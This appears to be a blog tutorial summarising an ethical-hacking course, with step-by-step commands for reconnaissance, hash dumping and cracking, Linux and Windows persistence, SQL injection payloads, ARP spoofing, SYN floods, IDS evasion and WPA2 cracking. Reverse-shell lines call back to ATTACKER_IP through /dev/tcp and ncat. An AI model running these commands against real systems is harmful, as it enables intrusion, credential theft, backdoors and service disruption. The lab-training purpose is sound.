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Introduction:
Modern cyber threats demand hands-on defensive skills rooted in attacker methodologies. This article breaks down a comprehensive ethical hacking curriculum covering reconnaissance, system exploitation, post‑persistence, web attacks, and evasion techniques—transforming theory into actionable lab exercises for aspiring penetration testers and red teamers.
Learning Objectives:
- Execute a full attack chain from passive footprinting to active enumeration using open‑source intelligence (OSINT) and Nmap.
- Perform system hacking, privilege escalation, and persistence mechanisms on Windows/Linux targets.
- Bypass IDS/IPS, firewalls, and honeypots while securing web applications and wireless networks.
You Should Know:
- Reconnaissance & Network Scanning – From Passive OSINT to Active Enumeration
Start by gathering target intelligence without touching the target (passive), then move to active scanning. Use the following workflow on Kali Linux:
Step‑by‑step guide:
1. Passive reconnaissance – Extract subdomains and emails:
theHarvester -d example.com -b google,linkedin,bing -f output.html
2. DNS enumeration – Find DNS records and zone transfers:
dnsrecon -d example.com -t axfr
3. Active host discovery – Ping sweep with Nmap:
nmap -sn 192.168.1.0/24
4. Port scanning & service detection:
nmap -sS -sV -p- -T4 192.168.1.100 -oA scan_result
5. Windows alternative – Use PowerShell for basic scans:
Test-NetConnection -ComputerName 192.168.1.100 -Port 80
What it does: This pipeline maps live hosts, open ports, running services, and potential entry points—core for any penetration test.
- System Hacking & Password Attacks – Cracking Hashes and Gaining Access
Once you have a foothold, extract and crack authentication material. Practice on a lab Windows VM.
Step‑by‑step guide:
1. Dump SAM hashes (requires admin):
reg save hklm\sam sam.save reg save hklm\system system.save
2. Extract hashes with impacket (Linux):
python3 secretsdump.py -sam sam.save -system system.save LOCAL
3. Crack NTLM hashes with Hashcat:
hashcat -m 1000 -a 0 ntlm_hash.txt /usr/share/wordlists/rockyou.txt
4. For Linux shadow files – Use John the Ripper:
unshadow /etc/passwd /etc/shadow > hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Mitigation: Enforce long complex passwords, use LAPS for local admin rotation, and implement MFA.
- Post‑Exploitation & Persistence – Maintaining Access After Reboot
After initial compromise, install backdoors and elevate privileges to root/System.
Step‑by‑step guide (Linux):
1. Check current privileges:
sudo -l
2. Add a hidden cron job for persistence:
(crontab -l 2>/dev/null; echo "@reboot /tmp/backdoor.sh") | crontab -
3. Create a reverse shell systemd service:
cat > /etc/systemd/system/revshell.service << EOF [bash] Description=Reverse Shell [bash] ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" Restart=always [bash] WantedBy=multi-user.target EOF systemctl enable revshell.service systemctl start revshell.service
Windows persistence – Add a registry run key:
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "C:\Windows\Temp\beacon.exe"
Detection: Monitor autoruns, scheduled tasks, and outbound connections to unexpected IPs.
- Web Server Penetration & SQL Injection – Exploiting OWASP Top 10
Web apps are prime targets. Practice on DVWA or hackthebox machines.
Step‑by‑step SQL injection manual testing:
- Identify injectable parameter – Append `’` or `”` to cause an error.
2. Union‑based extraction – Determine column count:
' UNION SELECT NULL,NULL,NULL-- -
3. Dump database version and tables:
' UNION SELECT @@version, database()-- - ' UNION SELECT table_name, column_name FROM information_schema.columns-- -
4. Automated exploitation with sqlmap:
sqlmap -u "http://target.com/page?id=1" --dbs --batch
Mitigation: Use parameterized queries (prepared statements), input validation, and WAF rules.
- Sniffing, MITM & DoS – Network Layer Attacks and Defenses
Intercept traffic or overwhelm services using tools like BetterCAP and hping3.
Step‑by‑step ARP spoofing (Linux):
1. Enable IP forwarding to route intercepted traffic:
echo 1 > /proc/sys/net/ipv4/ip_forward
2. Launch ARP spoof:
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
3. Sniff credentials with tcpdump or Wireshark:
tcpdump -i eth0 -A port 80 or port 443
4. Denial of Service (SYN flood) – Test against your own lab:
hping3 -S --flood -p 80 192.168.1.100
Defense: Enable ARP spoofing detection (DHCP snooping, dynamic ARP inspection), rate‑limit ICMP/SYN.
- Evading IDS, Firewalls & Honeypots – Stealth Techniques
Avoid detection by obfuscating payloads and using encrypted channels.
Step‑by‑step evasion:
1. Fragment packets to bypass simple IDS rules:
nmap -f -f -mtu 8 192.168.1.100
2. Use decoy scans:
nmap -D RND:10 -p 80 192.168.1.100
3. Encrypt reverse shell traffic with OpenSSL:
Attacker listener ncat --ssl -lvp 4444 Victim connection ncat --ssl ATTACKER_IP 4444 -e /bin/bash
4. Honeypot detection – Check for fake services:
nmap -sV --script=honeypot 192.168.1.100
Best practice: Use domain fronting, HTTPS tunnels, and custom shellcode encoding.
- Wireless & Mobile Security – Cracking WPA2 and Testing Android Apps
Assess Wi‑Fi and mobile platforms with dedicated toolchains.
Step‑by‑step WPA2 handshake capture (aircrack‑ng):
1. Enable monitor mode:
airmon-ng start wlan0
2. Capture packets:
airodump-ng wlan0mon -c 6 --bssid TARGET_MAC -w capture
3. Deauthenticate client to force handshake:
aireplay-ng -0 2 -a TARGET_MAC -c CLIENT_MAC wlan0mon
4. Crack password:
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Mobile testing (Android) – Use MobSF for static analysis:
docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
Upload APK to scan for insecure data storage, hardcoded secrets, and weak crypto.
What Undercode Say:
- Hands‑on beats theory – Every technique above requires a lab; virtual machines (VirtualBox, VMware) with Metasploitable, DVWA, and Windows 10 evaluation copies are free and legal.
- Defense is offense – Learning to spoof ARP or crack hashes directly teaches why network segmentation, strong passwords, and endpoint detection matter.
- Evasion is an arms race – Modern EDRs detect default tools; combine living‑off‑the‑land (LOLBins), custom scripts, and encryption to stay under radar.
- Wireless remains weak – WPA3 adoption is slow; always audit your own Wi‑Fi with aircrack‑ng before an attacker does.
- Automation accelerates learning – Use bash/PowerShell loops to scan multiple IPs, cron jobs for persistence, and hashcat rules for advanced cracking—automate to iterate faster.
Prediction:
By 2028, AI‑driven offensive tools will autonomously chain vulnerabilities (e.g., GraphQL injection → SSRF → cloud metadata API abuse), rendering manual enumeration obsolete. Simultaneously, defensive AI will generate decoy artifacts and dynamically mutate honeypots. Ethical hacking training will pivot from tool‑centric recipes to adversarial machine learning and model extraction attacks. The demand for practitioners who can audit AI pipelines and secure LLM integrations will skyrocket, making courses like the one from Ignite Technologies the baseline for next‑gen red teams.
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